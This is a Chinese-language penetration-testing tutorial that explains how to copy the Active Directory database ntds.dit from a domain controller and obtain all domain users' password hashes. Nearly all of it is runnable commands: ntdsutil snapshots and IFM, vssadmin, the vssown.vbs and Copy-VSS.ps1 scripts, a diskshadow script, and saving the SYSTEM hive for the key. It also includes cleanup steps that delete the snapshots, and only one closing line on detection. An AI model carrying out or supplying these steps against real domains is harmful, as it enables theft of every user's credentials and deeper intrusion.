Ntds.dit
Ntds.dit是主要的AD数据库,包括有关域用户,组和组成员身份的信息。它还包括域中所有用户的密码哈希值。为了进一步保护密码哈希值,使用存储在SYSTEM注册表配置单元中的密钥对这些哈希值进行加密。
我们拿到Ntds.dit就能获取到域内所有用户的hash。
使用卷影拷贝服务提取 ntds.dit
简介
在通常情况下,即使拥有管理员权限,也无法读取域控制器中的 C:\Windows\NTDS\ntds.dit 文件(活动目录始终访问这个文件,所以文件被禁止读取)。
使用 Windows 本地卷影拷贝服务,就可以获得文件的副本(类似与虚拟机的快照)
使用卷影拷贝服务提取 ntds.dit
在活动目录中,所有的数据都保存在 ntds.dit 文件中。ntds.dit 是一个二进制文件,存储位置为域控制器的 %SystemRoot%\ntds\ntds.dit。
ntds.dit 中包含(但不限于)用户名、散列值、组、GPP、OU等与活动目录相关的信息。它和 SAM 文件一样,是被 Windows 操作系统锁定的。
ntdsutil.exe 是一个为活动目录提供管理机制的命令行工具。使用 ntdsutil.exe,可以维护和管理活动目录数据库、控制单个主机操作、创建应用程序目录分区、删除由未使用活动目录安装向导(DCPromo.exe)成功降级的与控制器留下的元数据等。该工具默认安装在域控制器上,可以在域控制器上直接操作,也可以通过域内主机在域控制器上远程操作。
该工具支持的操作系统:
Windows Server 2003
Windows Server 2008
Windows Server 2012
工具使用方法:在域控制器的命令行环境下输入如下命令,创建一个快照,该快照包含Windows中的所有文件,且在复制文件时不会受到Windows锁定机制的限制。
ntdsutil snapshot "activate instance ntds" create quit quit
可以看到,创建了一个 GUID 为 6a475b94-b066-448f-92b9-1a29b3fd2ef7 的快照。
接下来加载刚刚创建的快照。命令格式为:其中GUID就是刚刚创建快照的GUID
ntdsutil snapshot "mount {GUID}" quit quit
ntdsutil snapshot "mount {6a475b94-b066-448f-92b9-1a29b3fd2ef7}" quit quit
快照将被加载到 C:\SNAP_202011091624_VOLUMEC\ 目录下:
使用 Windows 自带的 copy 命令将快照中的文件复制出来:复制到C盘下
copy C:\$SNAP_202011091624_VOLUMEC$\windows\ntds\ntds.dit c:\ntds.dit
将之前加载的快照卸载并删除:
ntdsutil snapshot "unmount {GUID}" "delete {GUID}" quit quit
ntdsutil snapshot "unmount {6a475b94-b066-448f-92b9-1a29b3fd2ef7}" "delete {6a475b94-b066-448f-92b9-1a29b3fd2ef7}" quit quit
其中,6a475b94-b066-448f-92b9-1a29b3fd2ef7 为创建快照的 GUID,每次创建快照的 GUID 都不同。
再次查询当前系统中的所有快照,显示没有任何快照,表示删除成功:
ntdsutil snapshot "List All" quit quit
vssadmin 是 Windows Server 2008 及 Windows 7 提供的 VSS 管理工具,可用于创建和删除卷影拷贝、列出卷影的信息(只能管理系统 Provider 创建的卷影拷贝)、显示已安装的所有卷影拷贝写入程序(writers)和提供程序(providers),以及改变卷影拷贝的存储空间(即所谓的“diff空间”)的大小等。
在域控制器中打开命令行,输入命令,创建一个 C 盘的卷影拷贝:
vssadmin create shadow /for=c:
在创建的卷影拷贝中将 ntds.dit 复制出来:
copy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy2\windows\NTDS\ntds.dit c:\ntds.dit
此时即可在 C 盘中看到 ntds.dit 被复制出来了:
执行如下命令,删除快照:
vssadmin delete shadows /for:c: /quiet
利用 vssown.vbs 脚本提取 ntds.dit
vssown.vbs 脚本的功能和 vssadmin 类似。可用于创建和删除卷影拷贝,以及启动和停止卷影拷贝服务。
下载地址:
https://raw.githubusercontent.com/borigue/ptscripts/master/windows/vssown.vbs
可以在命令行环境下运行脚本:
#启动卷影拷贝服务
cscript vssown.vbs /start
#创建一个C盘的卷影拷贝
cscript vssown.vbs /create c
#列出当前卷影拷贝
cscript vssown.vbs /list
#复制ntds.dit
copy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy8\windows\NTDS\ntds.dit c:\ntds.dit
#删除卷影拷贝
cscript vssown.vbs /delete ID
启动卷影拷贝服务:
cscript vssown.vbs /start
创建一个 C 盘的卷影拷贝:
cscript vssown.vbs /create c
列出当前卷影拷贝:
cscript vssown.vbs /list
可以看到存在一个 ID 为 FE084F25-4F38-4C8B-B2D4-3538D5644D15 的卷影拷贝,存储位置为:\\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy3。
复制 ntds.dit:
copy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy3\windows\NTDS\ntds.dit c:\ntds.dit
删除卷影拷贝:
cscript vssown.vbs /delete {FE084F25-4F38-4C8B-B2D4-3538D5644D15}
在使用 ntdsutil 创建 IFM 时,需要进行生成快照、加载、将 ntds.dit 和计算机的 SAM 文件复制到目标文件夹中等操作。
在域控制器以管理员模式打开命令行环境,输入命令:
ntdsutil "ac i ntds" "ifm" "create full c:/test" q q
将 ntds.dit 复制到 c:\test\Active Directory\ 文件夹下:
dir "c:\test\Active Directory"
将 SYSTEN 和 SECURITY 两项复制到 c:\test\registry 文件夹下:
dir "c:\test\registry"
将 ntds.dit 拖回本地后,在目标机器上将 test 文件夹删除,命令如下:
rmdir /s/q test
在 Nishang 中有一个 PowerShell 脚本 Copy-VSS.ps1。将该脚本提取出来,在域控制器中一个 powershell 窗口,导入执行脚本:
项目地址:https://github.com/samratashok/nishang
import-module .\Copy-VSS.ps1
Copy-vss
通过该脚本,可以将 SAM、SYSTEM,ntds.dit 复制到与ps1脚本相同的目录。
查看帮助信息:
diskshadow.exe /?
在渗透中可以使用 diskshadow.exe 来执行命令,例如将需要执行的命令exec c:\windows\system32\calc.exe写入C盘目录下的command.txt文件:
echo exec c:\windows\system32\calc.exe>command.txt
使用 diskshadow.exe 执行该文件中的命令:
diskshadow /s c:\command.txt
diskshadow.exe 也可以用来导出 ntds.dit:
#将以下代码写入command.txt
set context persistent nowriters
add volume c: alias someAlias
create
expose %someAlias% k:
exec "cmd.exe" /c copy k:\Windows\NTDS\ntds.dit c:\ntds.dit
delete shadows all
list shadows all
reset
exit
#加载文本(在C:\windows\system32 目录下执行,不然会出错)
diskshadow /s c:\command.txt
#转储 system.hive
reg save hklm\system c:\windows\temp\system.hive
system.hive中存放着ntds.dit的密钥,如果没有该密钥,将无法查看ntds.dit中的信息。
注意事项:
通过监控卷影拷贝服务的使用情况,可以及时发现攻击者在系统中进行的一些恶意操作。
参考文章:
https://xz.aliyun.com/t/2187